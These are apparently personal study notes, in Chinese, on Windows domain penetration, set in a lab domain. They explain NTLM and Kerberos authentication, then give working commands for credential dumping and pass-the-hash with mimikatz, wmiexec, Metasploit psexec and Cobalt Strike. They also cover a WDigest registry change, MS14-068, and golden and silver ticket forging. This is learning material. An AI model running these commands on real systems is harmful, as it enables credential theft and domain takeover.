上次的筆記不小心被我刪除了,這次就重新總結一下,溫故而知新嗎(這篇學習筆記很久就寫完了,最近吧內網的東西都熟悉了一遍,發現了這個筆記)~
Windows的Hash類型
在內網域滲透的過程中最重要的就是就是對windows的認證機制的理解
- Windows中的hash類型
LM HASH
很古老的hash類型,在LAN Manager協議中使用,非常容易通過暴力破解獲取明文憑據,Vista以前的版本使用過,之后的版本中都默認禁用了LM協議.
NTLM HASH
Vista以上的操作系統使用的Hash,通常意義上的NTLM Hash指存儲在SAM數據庫以及NTDS數據庫中對密碼進行摘要計算后的結果,這類Hash可以直接用於Pth(哈希傳遞),並且通常在lsass進程中(使用mimikatz抓取或procdump down下內存),便於ssp使用.
NET-NTLM HASH
一般用於網絡身份認證(例如NTLM認證中),目前分為兩個版本:
Net-NTLMv1
Net-NTLMv2
此類hash不能直接用來pth,但是可以通過暴力破解來獲取明文密碼
windows的認證機制
- 工作組認證(NTML認證)
1.客戶端發起認證請求
2.服務端收到認證請求,向客戶端發送隨機數(challenge/挑戰)
3.客戶端使用NTLM Hash打亂隨機數,生成Net-NTLM Hash發送回服務端(注意是用MTLMhash打亂的,所以我們要是有用戶的hash值,那么我們也就可以偽造認證,造成pth攻擊)
- 域認證(NTML認證)
實際中也就是比工作組認證多了個域控的角色
1.client輸入username,password和domain,然后client會把password hash后的值緩存在本地
2.client將username的明文發送給server(DC)
3.DC生成一個16字節的隨機數,即challenge,在傳回client
4.client收到challenge以后,先復制一份出來,然后和緩存中的密碼hash在一同hash一次,混合后的值成為response,之后client再將challenge,response,以及username一並傳給server
5.server在收到client傳過來的這三個值以后會把他們都轉發給DC
6.DC接受到三個值以后,會根據username到域控的賬號數據庫(ntds.dist)里面找到該username對應的hash,然后把這個hash拿出來和傳過來的challenge值在混合hash
7.將混合后的hash值與response,進行比較,相同則認證成功,反之失敗,當然,如果是本地登錄,所有驗證肯定也全部直接在本地進行了
根據認證過程可以看到,假設知道了hash值還是可以偽造登陸的
- 域認證(Kerberos協議,票據偽造)
主要是分為3步
第一:從AS服務器中獲取TGT票據
用戶在客戶端輸入賬號和密碼之后,會對密碼進行hash處理,作為user-secret-key
1. 客戶端將用戶名發送給AS服務器申請服務,在AS服務器中會對用戶名進行驗證,在AS服務器本地數據庫中查詢到該用戶名的密碼,並使用hash生成user-secrect-key.
2. AS服務器向用戶發送兩樣東西:
1) Client/TGS會話密鑰,使用user-secrect-key進行加密
2) TGT,包含TGS會話密鑰,用戶信息,時間戳,TGT有效期。使用TGS密鑰進行加密
3.用戶接收到消息之后,回使用本地的user-secret-key對消息1)進行解密,如果解密成功,說明用戶提供的憑證是正確的,此時用戶得到了加密后的TGT
第二:從TGS服務器中獲取訪問權限
1.客戶端向TGS服務器發送信息:
1) 第一步驟中的TGT
2) 認證信息(認證符(Authenticator)),包含用戶id以及時間戳,通過TGS會話密鑰進行加密。
2.TGS服務器收到消息之后,會使用TGS密鑰對消息1)進行解密,獲取到TGS會話密鑰,進而對消息2)進行解密,在對用戶id以及時間戳進行認證,如果認證成功,向客戶端發送消息:
1) client-server-ticket(包含SS會話密鑰,用戶名信息以及時間戳),使用ss密鑰進行加密
2) ss會話密鑰使用TGS會話密鑰進行加密
3.客戶端收到信息之后會對消息2)進行解密,獲得ss會話密鑰。
第三: 訪問服務
1.客戶端向ss服務器發送以下消息:
1)第二步驟中的client-server-ticket
2)新的Authenticator,包含用戶信息,時間戳。通過SS會話密鑰進行加密
2.SS服務器收到消息之后,會使用ss密鑰對消息1)進行解密,解密之后使用ss會話密鑰對消息2)解密,解密成功之后會得到authenticator,認證之后,發送:
1)新時間戳,Client發送的時間戳加1,通過ss會話密鑰進行加密
3.客戶端收到時間戳之后,解密確認,成功之后發送服務請求
4.ss服務器收到之后提供服務。
除了Kerberos協議的認證流程不懂之外其他的都已經了解了(感覺這個Kerberos對我來說確實有點難了emmmmm)
橫向移動
- 哈希傳遞
經典的攻擊方式,原理就是攻擊者直接通過LM Hash和NTLM Hash訪問遠程主機或服務,而不提供明文密碼.
適用於以下情況
* 域/工作組環境
* 可以獲得hash,但是條件不允許對hash爆破
* 內網中存在和當前機器相同的密碼
針對pth微軟也打過補丁kb2871997
,但是對於本地的administrator
以及域內的管理員是無效的,仍然可以利用其hash進行pth,最好的一點就是防止了mimikatz
等工具直接抓取明文密碼(但是我們可以down下內存來本地抓取,hash還是可以抓取到的,因為一些認證過程會用到hash),打了補丁的機器在wdigetst里面的密碼一欄為空.
當然還有人給出了繞過的辦法(修改注冊表,未測試)
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
注銷、重啟后生效(有時間在測試)
- 使用mimikatz(不僅僅只是抓取密碼,pth,票據的制作都可以!)
privilege::debug
sekurlsa::logonpasswords
sekurlsa::pth /user:administrator /domain:MIKASA /ntlm:0ceacf18afa10f3c5c30bc43e115cb4a
這樣的話就會在本地創建一個cmd,直接就可以用IPC管道符遠程連接了(cmd退出就會失效).
- 使用wmiexec(隱蔽性極高,無文件)
wmiexec.exe -hashes 00000000000000000000000000000000:283471905734ce1951aa2b5f0d7253f6 MIKASA.com/administrator@192.168.22.138 "whoami"
直接有回顯執行命令
還有一個是PowerShell
set-executionpolicy remotesigned //powershell中開啟運行腳本的權限
Import-Module .\Invoke-WMIExec.ps1 //導入函數
Invoke-WMIExec -Target 192.168.22.138 -Domain MIKASA.com -Username administrator -Hash 283471905734ce1951aa2b5f0d7253f6 -Command "calc.exe" -verbose
當然這個項目中還有smbexec等等,利用方法都是一致的
- 使用msf
use exploit/windows/smb/psexec
xxxxx
xxx
xxx
smbpass => 283471905734ce1951aa2b5f0d7253f6:283471905734ce1951aa2b5f0d7253f6
msf5 exploit(windows/smb/psexec) > exploit
[*] Started reverse TCP handler on 192.168.22.1:4444
[*] 192.168.22.138:445 - Connecting to the server...
[*] 192.168.22.138:445 - Authenticating to 192.168.22.138:445|MIKASA.com as user 'administrator'...
[*] 192.168.22.138:445 - Selecting PowerShell target
[*] 192.168.22.138:445 - Executing the payload...
[+] 192.168.22.138:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (180291 bytes) to 192.168.22.138
[*] Meterpreter session 8 opened (192.168.22.1:4444 -> 192.168.22.138:52238) at 2019-12-08 21:20:41 +0800
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
可以直接獲取到
- 使用CS
pth domain\user ntlmhash
shell dir \\主機名\C$
不行的話在用CS右鍵 Access-> Make token按操作就行了
CS的東西還是挺多的,這里面暫時就不先總結了
- Linux/MAC橫向移動
使用IMPACKET工具
python wmiexec.py -hashes 00000000000000000000000000000000:283471905734ce1951aa2b5f0d7253f6 MIKASA.com/administrator@192.168.22.138 "whoami"

也是可以的
- 使用crackmapexec批量掃描
crackmapexec 192.168.0.0/24 -u administrator -H 03bebb338e70244589ea67c7439c77ba
//枚舉C段
沒有安裝成功
- Kali
自帶了很多的哈希傳遞的工具(沒怎么用過KALI)
票據偽造(票據傳遞/ptt)
票據傳遞的攻擊就是利用Kerberos協議進行攻擊,暫時介紹三種常見的攻擊方法ms14-058,Golden ticket,sliver ticket
.
下面再簡單的說明一下域內的kerberos
協議工作方式
客戶機將明文密碼進行ntml哈希,然后和時間戳一起加密(使用krbtgt密碼的hash作為密鑰),發送給kdc(域控),kdc對用戶進行檢測,成功之后創建TGT(Ticket-Granting Ticket)
將TGT進行加密簽名返回給客戶機器,只有與用戶才可以讀取kerberos中TGT的數據
然后客戶機將TGT發送給域控制器KDC請求TGS(票證授權服務)票證,並且TGT進行檢測
檢測成功之后,將目標服務賬戶的NTML以及TGT進行加密,將加密后的結果返回給客戶機
- ms14-068(對應補丁KB3011780)
利用的是密鑰分發中心(KDC)的漏洞,允許任意普通域用戶偽造任意票據
windows域中使用kerberos協議過程中,為了讓SS服務器判斷Client是否有權限訪問服務,引入了PAC機制。構造PAC也是這個漏洞的根本。
1. 在請求AS時,將require_PAC設置成False。
2. 在請求TGS時,構造PAC,然后使用MD5簽名(PAC尾部的簽名算法可以任意指定),PAC並沒有放在TGT中發送,而是在請求包的其他位置(但是還是可以解析)。
3. TGS_REP返回的不是會話密鑰,而是返回的帶PAC的TGT(微軟的鍋)
利用前提
域控沒有打補丁MS14-069(KB3011780)
拿下一台加入域的計算機
有這台域內計算機的與用戶密碼和SID
利用過程
whoami /user
獲取域用戶的sid

使用mimikatz
抓取密碼
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

ms14-068.exe -u win7@MIKASA.com -s S-1-5-21-3006648259-3336348783-1992286540-1104 -d WIN-Q1E9PO4969I.MIKASA.com -p xxx
在使用mimikatz將證書寫入,升級為域管理員
kerberso::ptc 證書名字
之后就可以使用psexec、wmiexec
等免密碼的執行命令登錄了

psexec64.exe \\WIN-Q1E9PO4969I cmd.exe

參考文章:
https://www.cnblogs.com/backlion/p/6820744.html?utm_source=itdadao&utm_medium=referral
- 黃金票據(類似於域控的后門)
原理:kerberos協議認證過程中,客戶端將自己的信息發送給KDC,KDC使用krbtgt用戶密碼hash作為密鑰進行加密,生成TGT(也就是說我們獲取得到了krbtgt的密碼hash就可以任意偽造TGT了),但是krbtgt的密碼hash只有DC上才有
適用場景
知道krbtgt用戶的hash(說明已經獲取到了域控制器的權限)
知道域名稱
知道域的SID值
知道要偽造的用戶名
先登錄到域服務器,dump krbtgt用戶的hash值,獲取域sid
mimikatz.exe "privilege::debug" "lsadump::lsa /patch" "exit" > c:\1.txt
獲取域SID:S-1-5-21-3006648259-3336348783-1992286540
krbtgt的hash: c06e999c1a956bf99502142582e1b495
到普通域用戶機器上使用mimikatz生成黃金票據
kerberos::golden /user:administrator /domain:MIKASA.com /sid:S-1-5-21-3006648259-3336348783-1992286540 /krbtgt:c06e999c1a956bf99502142582e1b495 /ptt
直接內存注入
或者
使用/ticket:test.kirbi參數導出憑據在使用
kerberos::ptt test.kirbi注入

psexec64.exe \\WIN-Q1E9PO4969I cmd.exe

防御措施
建議經常更新krbtgt的密碼
還有的分析黃金票據有局限性
https://www.cnblogs.com/backlion/p/8127868.html
OK,關於黃金票據就到此結束了.
- 白銀票據
白銀票據就跟黃金票據不同了,他並不是像黃金票據一樣利用krbtgt偽造TGT,他是直接不與KDC通信,使用的是計算機賬戶的hash(域控的計算機賬戶)來偽造TGT,因此只能訪問特定的服務.
首先上域控中抓取密碼
獲取到目標機器的hash(注意是機器hash而不是域用戶hash)
9f26d10e5bbcb5b891fc6ca79e53a033
mimikatz偽造白銀票據
kerberos::golden /domain:MIKASA.com /sid:S-1-5-21-3006648259-3336348783-1992286540 /target:WIN-Q1E9PO4969I.MIKASA.com /rc4:a3c828040b117c4c4cc8f2b8ff82a24f /service:cifs /user:win7 /ptt
之后就可以訪問域控的文件系統了